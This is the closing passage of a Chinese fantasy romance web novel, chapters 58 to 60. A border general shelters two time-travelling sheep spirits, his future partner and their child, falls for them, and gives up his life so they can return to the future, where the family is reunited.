陆无烬历经沙场十载,自然有应对之法,但头一次,因为想到营帐里的两只小妖,大战临头,竟有几分晃了神。 幸好他及时调整回来,沉着指挥作战,鏖战半夜,终获大捷,众将土欢呼雀跃,谁料在回来的路上,埋伏在草地里的敌军弓箭手冒死朝陆无烬射了一支毒箭。 毒箭正中陆无烬的左臂。 陆无烬咬牙拔出箭簇,血已经发黑。 回到主营帐,方士迅速赶来为他疗伤,见状大骇,哆嗦着说:“此乃剧毒,药石难医,需请神医前来。” 副将当即差人去请方圆百里所有神医名医。 陆无烬在稍微缓和的剧痛中睁开眼时,先看到一个卷绒绒的小圆脑袋,紧接着,他看到一些星星点点的荧蓝色光晕。 他低头,看到坐在他身边的眠眠。 小家伙正在给他疗伤,脸都憋红了,小手止不住地发抖。 杨思昭说:“眠眠,让妈妈来。” 眠眠摇头,抽噎着说:“眠眠要救爸爸,眠眠来救爸爸。” 荧蓝色星点降落在陆无烬中毒的手臂上,阻止了毒素的蔓延,让剧痛一点点消失,灵力顺着血管穿梭全身,陆无烬感觉到难以言喻的轻松。 很多年没有这般舒服的感觉了。 舒服到他昏昏欲睡,仿佛回到了少年时,仿佛肩上从来不曾有过重担。耳边还有小家伙可怜兮兮的抽噎声,但他丝毫不觉得吵。 过了一会儿,疗伤的人大概换成杨思昭了,进入陆无烬身体的灵力更加强烈,让他的倦意愈发明显,他竟完全睡熟了。梦中有些光怪陆离的画面,一片竹林、几间小木屋,其中有他,又不属于他。 再醒来时已是晨光微熹。 他习惯性抬了下胳膊,沉沉的,抬不起来,转头望去才发现是眠眠。 眠眠抱着他受伤的左臂睡得安然。 望向右边前,他顿了片刻。说不出是期待还是不期待,总归是顿了片刻。 他缓缓望过去,看到了侧身朝向他睡觉的杨思昭,穿着他的宽大亵衣,领口露出大片白皙皮肤,隐约能看到更多春光。 他动了动胳膊,杨思昭便在睡梦中靠了过来,大概是养成了习惯,一翻身就枕在他的肩膀上,微微仰起头。 看来和那个千年后的“陆无烬”每晚都是交颈相拥。 陆无烬心里生出几分不悦,一垂眸就看到杨思昭杏红色的唇,像脱水的花瓣。 陆无烬第一次嫌弃边塞的气候干燥。 怎样能让小妖的唇瓣湿润点?他屏息,不由自主地靠近。越靠越近,杨思昭的呼吸喷洒在他的鼻间。 有股形容不出的香味。 就在快要碰到的时候,左臂上的眠眠滑落下去,“咚”的一声,小胳膊砸在床铺上。眠眠没有醒,杨思昭倒是醒了,迷迷糊糊地睁开眼,越过僵硬挺直的陆无烬,看了看眠眠。见眠眠仍在睡熟,放下心来,翻了个身,背对着陆无烬继续睡了。 陆无烬看着帐顶,胸膛起伏不平。 一边一只小妖怪。 向来信天信命不信鬼神精怪的他竟然就这样接纳了他们,任由他们赖在营帐里。 生平第一次,陆无烬感到有什么东西在他的身体里失控了。像失了缰的马车,向末知的远方疾驰。 杨思昭,他在齿间反复念着这个名字。 59、第59章... 大将军身中剧毒却绝处逢生的消息迅速传遍了军营,又传到临近的州郡。 没过多久,就传到了皇宫。 次次化险为夷的镇北大将军,似乎已经成了百姓口中威震一方、无往不胜的战神。 如此悍将,还这般年轻,自然让远在中原宫廷里的皇帝心生忌惮,很快,一道赐婚的圣旨就从京城八百里加急送到了北部军营。 圣旨抵达之时,陆无烬正在教眠眠骑马。 为了感谢眠眠舍命相救,他送了一只强壮的棕毛小马驹给眠眠。眠眠自认为和小马驹属于同一物种,不肯骑,牵着小马驹在马场里走了一圈又一圈,遇到好吃的草,还要先分享给小马驹。 陆无烬虽七岁习武,实则四五岁时就随着武将父亲出入训练场了,这些年日晒风吹,早就习惯了粗莽的日子。他实在没法想象自己的孩子这般娇滴滴、软绵绵。 且不论这个孩子究竟和他是什么关系,哪怕不属于他,哪怕过段时间就会穿越回去,他也想……留下一些纪念。 他走过去,抱起眠眠,让他跨坐在小马驹的背上,眠眠吓得哇哇大叫。 杨思昭在一旁忙说:“陆无烬,小心点,小心点。” 眠眠平衡感不太好,总是摇摇晃晃,陆无烬用胸膛给他做倚靠。 幸好小马驹很欢迎眠眠,高高扬起尾巴,轻快地踢起腿来,眠眠感觉到小马驹的心情,俯身摸了摸小马驹的脑袋,“谢谢你呀,小马,我们一起玩吧。” 眠眠一手拽着缰绳,另一只手紧紧抓着陆无烬的手,慢慢往前走。 他忽然问:“爸爸,妈妈说我们穿越回一千年前了,那我们还能回去吗?” 陆无烬微怔,“理应可以。” “只要和爸爸妈妈在一起,眠眠不管在哪里都会很开心的,不过我在幼儿园里有很多朋友,我有一点想他们了。” “什么幼儿园?” 爸爸的提问让眠眠一时间不知如何作答,“就是爸爸给妈妈开的救助站幼儿园呀,我在里面上学,妈妈在里面当老师。妈妈已经救助了六只小妖兽,我答应了小虎,要给他买水蜜桃味的棒棒糖。”他说得颠三倒四,陆无烬勉强听懂。也就是说,千年后的“陆无烬”也清楚两只小妖的身份,依旧视他们为珍宝。 他的余光扫向马场边的杨思昭。 杨思昭披着不合身的鹅黄色绒氅,靠在木栅栏边,托腮望向天边的落日。 橙红落日把他的侧脸映得格外柔和。 他在孩子面前是一个温柔稳重的母亲,其余大多数时候,他都像个孩子。 傻兮兮的,又满怀心事。动不动就红眼圈,看着委屈得很。对他施以毫无保留的信任,但态度忽远忽近,只在眠眠需要爸爸的时候,才会主动靠近,每次靠近都用一双水盈盈的杏圆眼,看他片刻又收回,欲语还休。 陆无烬生平第一次心烦意乱。 暮色四合,他将眠眠抱下马,走到杨思昭面前,把眠眠从栅栏上方递过去。 “妈妈!”眠眠伸出小手。 杨思昭看着纤瘦,抱眠眠的时候却显得臂力惊人,五岁的眠眠穿着厚实的棉袄,就像一只沉甸甸的小肉球,可杨思昭抱得稳稳当当,还能低头和眠眠亲亲。一千年后的人表达爱意的方式很直接,陆无烬移开视线,负手走出马场。 “陆无烬。”杨思昭喊住他,快步走过来。 “我听说离这儿不到一百里的地方有一座月仙庙,我认识月仙,你能带我去一趟吗?说不定能找到回去的办法。”他还是想回去。 陆无烬垂眸不语。 自然,这儿风沙漫天,满目荒凉,两只小妖怎么愿意留在这里?没等他回答,一身穿朱红色宫袍的人骑马闯入,扬声传:“大将军,圣旨到!”圣旨的内容,陆无烬并不意外。 赐婚,他已经拒绝过一次,上次用的借口是“战事未平,以国事为重”。 黄澄澄的圣旨像一轮刺目的骄阳,让陆无烬无法当众说出第二次拒绝。 回到主营帐,眠眠已经躺在被窝里呼呼大睡了,杨思昭帮他掖好被子,听到陆无烬走进来的脚步声,也没有回头。 “晚膳吃了吗?”陆无烬向来不会寒暄,生硬地开口。 杨思昭还是不理他。 陆无烬又说:“南边送来两车新鲜甜瓜,想不想吃?我差人送点过来。” 杨思昭回头瞪他一眼。 陆无烬语塞。 他不知道杨思昭在生什么气,自己又做错了什么。奇怪的是,杨思昭这一记眼刀竟让他心生不安,下意识想解释。 可他压根不知道该解释什么。 杨思昭不想吵醒眠眠,起身快步走出营帐,陆无烬立即追了上来,两人一直走到连排营帐后的无人空地才停下。 “陆无烬!你骗我!” 杨思昭的声音里都带着哭腔,他回身推了一把陆无烬,哽咽道:“你明明说你没有娶过妻的,明明说你前世今生都只有我一个!你这个花言巧语的大骗子,皇帝分明给你赐婚了,还是丞相之女!”杨思昭也觉得自己无理取闹。 眼前的陆无烬又不是千年后的神君,陆无烬在将军时期无论发生了什么,都与他没有干系,陆无烬又不是为他而生的。 纵使娶过妻,又如何呢? 可他还是不能接受,他拥有过陆无烬百分百、无瑕疵的爱,就不能接受残品。 杨思昭一哭,眼圈和鼻尖都泛红,让陆无烬没由来想起刚出生不久的羊羔。 "我没说接受赐婚。"“可你没有拒绝!” 陆无烬无奈:“我怎么可以公然拒绝?那是圣旨,不是儿戏。我若要拒绝,需写一封奏折,呈递给圣上。” 杨思昭的抽噎轻了些,用袖子抹了下眼泪,瓮声问:“那、那你要拒绝吗?” 陆无烬没有回答。 他隐约感觉到自己的心已经有偏向了,但那个方向的人,并不属于他。 “你希望我此生孤独一人?”他问。 杨思昭呆住。这自然不是他想要的。 “你嚷嚷着要回家,还不允许我娶妻,”陆无烬抬起眼皮望向杨思昭,冷声发问,“这就是你说的,我很珍贵?”杨思昭背过身去,眼泪无声息地流。 两人伫立不语。 良久风起。 杨思昭打了个寒噤,哆嗦着回过身,对陆无烬说:“抱歉,我不该和你置气的,你有你的人生,你的考量和压力。”他语气闷沉,听着又乖又可怜。 他说着说着又开始掉眼泪,急忙用手背挡住,“陆无烬,如果你要成亲,我就带着眠眠先离开了,我不能眼睁睁看着你成亲,我、我会受不了的………. 杨思昭越想越难过,半晌才缓过神来,“你告诉我月仙庙的位置吧,我自己带着眠眠去,你就当我没有出现过。” 陆无烬想,一千年后的他一定很疼爱两只小妖,以至于杨思昭在恃宠而骄这事上如此熟练。这人登堂入室、反客为主、鸠占鹊巢,现在又说“当我没出现过”。 说得简单,如何做到? 杨思昭哭着经过他身边的时候,他再也忍不住,伸手握住杨思昭的手臂,拦住他离去的步伐,俯身将他抱进怀里。 陌生的环境,熟悉的拥抱,熟悉的体温,杨思昭再也控制不住情绪,把脸埋在陆无烬的胸口,用愈演愈烈的抽噎尽情发泄几日挤压的恐惧与忧虑。 天光已尽时,杨思昭的耳畔传来陆无烬的声音:“我之后是什么结局?” 杨思昭愣愣抬起头。 “没事,但说无妨。” 杨思昭告诉他,之后他受奸臣嫉妒,受身边之人陷害,不到而立之年就死于皇帝的谋杀,一杯毒酒了却性命。 陆无烬眸色暗淡。 “但是,因为你的善良和功绩,你死后便羽化升仙了,成了有名的净梵神君。又过了几百年,你遇到了我——” 杨思昭说到这里,嘴角不自觉地勾了起来,朦胧的泪眼都泛起奕奕神采来。 “你对我很好很好,从小到大第一次有人对我这么好,我们相爱了,后来发生了一些糟糕的事情,我们被迫分开三百多年,你也一直没有放弃寻找我,”杨思昭抽抽鼻子,把脸埋在陆无烬的肩头,“总之,我们是好不容易才能在一起的,不让你成亲不是因为我自私。" 是真的舍不得,因为你一直都属于我。 “我知道。”陆无烬的宽大手掌按在杨思昭的后背上,轻轻拍了拍。 杨思昭抬起头,嘴唇被泪水浸湿,像是沁了水的桃瓣。陆无烬也不是没见过美人,一头短发,素面朝天,穿着自己剪的乱七八糟衣裳的杨思昭,远远算不上惊为天人。脑袋也不够聪明,初见时就大咧咧地反客为主。这些年见识过许多美人计,他都没兴趣,可杨思昭此刻只是看着他,眼里连半点勾引都没有,他却连人带魂都被勾走了。 他俯身向那桃瓣靠近。 杨思昭察觉到他的动作,怔怔未动,后知后觉地反应过来,立即把手抵在他的胸口,“我——” 陆无烬瞬间清醒,往后退了一步。杨思昭尴尬地扭过脸。 虽然是同一个人,但他总觉得有些别扭。正好这时副将找过来,脸色为难:“将军,小公子….…小公子醒了,正在哭。”杨思昭还没反应过来“小公子”是谁,陆无烬已经先一步回了营帐。眠眠缩在偌大胡床的床角,小脸哭得皱巴巴,看到陆无烬掀帘而入,如见救星,立即伸出小手要抱:“爸爸!”陆无烬这次没有犹疑,走到床边将他抱了起来。 眠眠趴在他的肩头,小声啜泣,“爸爸又把眠眠丢下来,和妈妈在另一个房间亲亲抱抱睡觉了,讨厌爸爸!” 陆无烬福没享,罪全担了。 刚进帐就听见这句抱怨的杨思昭:“.……”讪讪一笑,掩面倒了杯茶。 眠眠捉着陆无烬的手,扁起嘴巴:“今晚爸爸妈妈陪着我睡,谁都不许走!” 陆无烬眉梢微挑,转身望向杨思昭。 杨思昭嘴里的茶水差点喷出来,在石凳上转了个圈,默默背过身去。 当晚,月朗星稀。 眠眠穿着宽宽大大的亵衣,小地鼠一样在被窝里钻来钻去,最后在陆无烬和杨思昭之间猛然冒出头来,“吼吼!” 他倒在杨思昭身上,笑嘻嘻地问:“妈妈有没有被吓到?” “吓到了。”杨思昭配合地捂住胸口。 眠眠又爬到陆无烬的身上,问:“爸爸呢?” 陆无烬不想玩这种幼稚的游戏,他的脾气在这一点上倒是一以贯之。 眠眠也习惯了爸爸这样的反应,骨碌碌滚下来,躺在爸爸妈妈的中间。 “其实……”他突然仰起头:“其实眠眠知道发生了什么事。” 杨思昭僵住,猛然望向眠眠。 “回到了很久很久以前,爸爸还不认识我和妈妈的时候,对不对?” 眠眠翻了个身,两手托腮地趴着。 陆无烬和杨思昭慌忙对视了一眼,两个大人在孩子面前竟然有些束手无策。 “没关系的,眠眠可以做很多遍很多遍自我介绍,这样爸爸就会认识我了。” 他爬到杨思昭脸侧,鼓起嘴巴亲了一大口,又爬到陆无烬身边,把亲亲印在陆无烬的脸颊上,笑着说:“爸爸,我是眠眠。” 60、第60章... 陆无烬以前对小孩向来敬而远之。 他觉得孩童代表着无知、顽劣、吵闹,没想到有一天他会看着窝在自己怀里安睡的孩子,胳膊发麻了也不愿动弹。 半晌,把脸埋在他腰侧的杨思昭从午睡中醒来,酣足地伸了个懒腰,眼睛还没睁开就攥住他的衣摆,揪了揪: "几点了?" 经过了半个月的相处,陆无烬已经对两只小羊的语言系统接受良好,对答自如:“估摸着未时三刻,太阳正盛。” 杨思昭好久没睡得这般沉,不情不愿地睁开眼,“那我们现在去月仙庙?” “好。” 杨思昭用指头戳了戳他的手臂,小声问:“你不会……生气吧?” 陆无烬觉得杨思昭天真得有些残忍。 一个抱着他睡,一个要他抱,牛皮糖似的黏在他身上,睁开眼就说要回家。 稀里糊涂闯进他的生命,把他的名声从梁国女子争相求嫁的独身大将军,变成了“欠下风流债、私生子找上门”的负心汉,冒死拒绝了皇帝的赐婚,仕途几乎斩断,只为他一句“你的命运改写,那几百年后的我们是不是就不能再见面了”。 现在又想着走,真没良心。他就不能成为两只小羊的归宿吗? 不过他只腹诽几句,半句挽留的话都说不出口,毕竟他对杨思昭来说只是恋人的过往,算不上一个真真切切的人。 “不会。”他回答,低头捏了捏眠眠的脸蛋,眠眠嘤咛转醒,和杨思昭一样有点起床怨气,在陆无烬的身上蹭了又蹭。 “爸爸。”眠眠咕哝出声。 "起来了,去月仙庙。" 陆无烬下床安排出行事宜,杨思昭坐在床边给眠眠穿衣穿鞋戴帽子。 塞北风寒,要把眠眠裹得严严实实。 眠眠眨巴着眼睛,问杨思昭:“妈妈,我们为什么要去月仙庙?” 杨思昭顿住,思忖道:“去求月仙,保佑我们一家永远幸福地在一起。” “好!”眠眠攥起小拳头。 出帐的时候,他还不忘说:“眠眠来磕头,奶奶说,神仙也喜欢小孩子。” 杨思昭朝他笑。 陆无烬准备了一辆马车,正要出发,副将拖着一个伤痕累累的男人走过来,“将军,三十记军鞭,程康已经受下。”杨思昭耳尖,捕捉到“程康”二字。 陆无烬一进马车,就被他抓住手,“你还是严惩了程康?我不是对你说过,你严惩他,他会心怀怨恨,会害你——” “我知道。”杨思昭愣住。 "他犯的军规是侮辱战俘,将士们都看到了,我不能视而不见,至于你说的后来之事,既然当初我走到这一步,就说明我命当如此,你不必替我改写。"“陆无烬………. “你管好你自己,早日回去。” 杨思昭低头,眼眶酸涩。 眠眠玩着拨浪鼓,是陆无烬差人去市集上给他买的小红鼓,摇起来响声清脆。 他朝陆无烬咧嘴笑,脑袋和拨浪鼓一起晃,陆无烬弯起唇角,静静地看着他。 到了月仙庙,陆无烬让副将和随从守在庙外,三人进了院子,远远地看到一尊穿着绯色长袍的金身月仙,安坐在古庙一隅,面庞圆润、长眉似月,笑意盈盈。 “一点都不像。”杨思昭小声嘟囔。 陆无烬来了兴趣,“你见过?月仙长什么模样?” “不是一个憨态可掬的老头,很瘦,脸上一堆褶子,两个眼珠一翻就是坏主意,还几次想拆散我们呢!” 陆无烬轻笑。 杨思昭把眠眠交给他,独自走到金像前,跪在蒲团上,双手合十,在心里倾说:“月仙,我是杨思昭,我莫名其妙穿回了一千年前,遇到了曾经的陆无烬,我不知道该怎样才能回去。您能听到我的祈祷吗?求您看在陆无烬的份上,告诉我回去的办法吧。如果不行,至少告诉陆无烬一声,我很好,眠眠也很安全,让他不要担心,我一定、一定会想办法回去。" 他点燃了烛台,凝结妖力,火光骤起,将金像的眼瞳映得发亮,试图以此法将他的祈祷传送到天上。 可金像没有反应。 杨思昭又试了一次,金像还是没有反应。 他缓缓垂下手。 眠眠从陆无烬的怀抱里挣扎出来,跑到妈妈身边,扑通一声跪在蒲团上,咚咚磕了两个头,“神仙,神仙,帮帮我们。” 杨思昭莞尔,用温热掌心托住眠眠的小脑门,“好了,神仙听到眠眠的祈祷了,一定会保佑我们一家的。” 眠眠抱住他,“妈妈不怕。” 无论杨思昭用什么法子,月仙的神像都无动于衷,他心灰意冷地离去。 踏出月仙庙,良久他才发现陆无烬没有出来,正要回头找,陆无烬已经阔步走了出来,一身玄色劲服衬得庙宇小而暗。 “你在里面做了什么?”杨思昭问。 “没有,看看而已。” 杨思昭心生疑窦,盯着陆无烬的脸看了许久,陆无烬还是说:“别多想了,走吧。” 他们坐上马车回军营。 路上难得经过一片绿洲,杨思昭求陆无烬将他们放下来,两只小羊一见到水源和草地,瞬间兴奋不已,飞奔到小河边。那是高山冰雪融化汇成的小河,水清而冷。杨思昭用手鞠起一捧,浇到眠眠的小手上,把眠眠凉得吱哇乱叫,在原地转了个圈,两只小羊抱在一起笑。陆无烬负手走来。 杨思昭想逗他开心,也鞠了一捧水,往他身上袭击,被陆无烬灵巧躲开。 "眠眠上!" 眠眠从杨思昭的身后窜出来,小手沾满了凉水,五指开花,要往陆无烬身上抹,笑着说:“爸爸站住,爸爸站住!” 极幼稚的打闹。 若放在以前,陆无烬一定嗤之以鼻,现在他却连张冷脸都摆不出来。 他装模作样地躲了几步,就停在原地,等着两只小羊扑上来,再踉跄后退,作势被草绊倒,整个人仰躺下来,任两只裹得像汤圆的笨拙小羊扑到他身上。 眠眠把湿漉漉的小手盖在他的脸颊上,兴奋地说:“爸爸输了!” 陆无烬轻笑,握住他的小手,第一次接受这个称呼:“嗯,爸爸输了。” 杨思昭也倒在他胸口了。 因为月仙庙一行无果,他难掩失落,陆无烬当他的肉垫,他就顺势倒下了。夕阳西落,橙红色的霞光照在绿洲。 杨思昭忽然转过头,说:“陆无烬,遇到你很高兴,不管在什么时候。” 陆无烬莞尔不语。 “你真的拒绝赐婚了吗?”“是。”“是因为我和眠眠吗?” 陆无烬这次竟然很坦白,“是。” 杨思昭一时语塞,不知如何回应,半晌才说:“我好自私,我希望你幸福,又希望你的幸福是我带给你的。” 陆无烬良久没有出声。 “你的副将说你已经拒绝过一次赐婚了,两次拒绝会给你带来什么样的灾祸?要不你还是接受—” “眠眠,闭眼睛。”陆无烬打断他。两只小羊都呆住了。眠眠慢半拍地捂住眼睛,陆无烬则倾身过来,吻住了杨思昭的唇瓣。杨思昭来不及躲,陆无烬的手已经绕过他的后颈,将他困在臂弯里。阔别数日、抑或是数百年的吻。 身为武将的陆无烬比起神君时的性子粗莽了些,含住杨思昭唇瓣时也不自觉用力,惹得杨思昭吃痛,两手抵在他肩头,“陆无烬,不、不可以咬我!”陆无烬只放过他片刻,唇瓣分开的间隙里,哑声催促他:“教我。” 杨思昭这才想起来,陆大将军现在还是个“雏”,忍不住轻笑,主动贴了上去。 “好啊,我教你。” 眠眠知道爸爸妈妈在亲亲,又阻拦不了,一扭头,气鼓鼓地跑开了。 他蹲在小河边,看着河里的自己。“眠眠最可怜了。”他委屈巴巴地趴下来,鼓起嘴巴,把河面吹出一圈圈涟漪。 很快,陆无烬就走过来,将他一把抱起。 “坏爸爸!” “嗯。”陆无烬这次享了福,不反驳。 杨思昭和眠眠就这样在陆无烬的营帐里住下来了。 他每天都在打听何处有神庙,何处有道观,依然不放弃回去的可能,陆无烬也陪着他寻找,只是他近来麻烦缠身。 先是程康叛变,引来了奸臣之子,前来北部军营寻衅滋事。虽然陆无烬信奉顺其自然,但杨思昭就是看不得他受辱,半夜潜入贼人的官邸,用水火法术将其吓得屁滚尿流,第二天天没亮就吓得逃回了京城。 不过这贼子相比于皇帝的忌惮,只是小巫见大巫,很快,在陆无烬赢下一次战役,并获得那个游牧小国心悦诚服的投降之后,皇帝的降罪诏书便送到了军营。写满欲加之罪的诏书总结起来就是十六个字—彼之功绩,如日中天,朝野咸服,主上忧之。 杨思昭气到恨不得一把火烧了圣旨。 之前只是听陆无烬当睡前故事讲给他听,谁想亲眼目睹,才是义愤填膺。 “我要杀了皇帝。”他喃喃道。 "什么狗皇帝,太可笑了!" 他说着就要冲出营帐,被陆无烬拦住,一掌击在他的后颈。 他晕了过去。 完全失去意识前,他听到陆无烬抱着他说:“思昭,你和眠眠出现在这里,证明老天待我不薄,我不后悔。” 陆无烬的死,是撬动死局的唯一办法,否则一个直臣、一个忠臣、一个不知攀权附贵不懂拉拢人心的蛮将,是保护不了他手下十万弟兄的。他早已预见自己的结局,到今日,并不惊讶。 杨思昭和眠眠被送走之时,他还是没忍住,喊住了副将,让他们停下。 他俯下身子,摸了摸杨思昭和眠眠的脸,为他们仔仔细细掖好棉被。“等我回家。”他说。 喝下宫中太监送来的毒酒时,他想到那日在月仙庙,杨思昭走后。 他滴血入烛,月仙现身。 月仙一副旧相识的熟稔姿态,开口便说:“净梵,你既已知晓自己的命轨,要不要改变,你自己看着办吧。”“用我这条命,换他们回去。”陆无烬说。“十几年出生入死立下的战功,你现在有机会改写命运,彪炳史册。就这么死了,死于一杯毒酒,你不后悔?“ 陆无烬摇头,反问:“千年后的我,是不是在焦急地等我的小羊们回家?” “是。” 陆无烬笑了,"那我还后悔什么?" 想到这里,他饮下毒酒。 很快,喉咙灼痛,生不如死。 再睁开眼,是一片郁郁葱葱的青竹林,他走进去,在草丛里看到一只受伤的小羊妖,正在可怜兮兮地舔舐伤口。 他悄步靠近,小羊妖一仰头就看见他,两眼一亮,“是你!”转瞬又哭,抹着泪说:“呜呜呜神君还是不见我,我劝你别去找神君了,神君的侍女好可怕… 他问:“你找神君做什么?”小羊妖仰起头,露出明媚的笑容:"能不能麻烦你告诉神君,我倾慕他好久啦!" 陆无烬在心里笑:是吗?我也喜欢你很久了。记忆在时光隧道里穿梭。 再次睁眼,他站在潜山别墅的门里。 身后一片黑漆漆,有阳光从门缝溢进来,他听见眠眠的声音:“妈妈,爸爸真的在里面吗?” “在的,月仙爷爷答应我们了。”杨思昭温声回答,但掩藏不住期待。 陆无烬握住门柄,一点一点转动,越来越多的日光泻了进来,天光大亮。 他打开门,看到了他的两只小羊。 “好久不见。”他说。 两只小羊哭着朝他扑了过来。 杨思昭紧紧抱住陆无烬的脖颈,眼泪止不住地落下。 眠眠又一次被爸爸妈妈压成小饼,但他依然觉得很幸福。 他是全世界最幸福的小羊饼。 【全文完】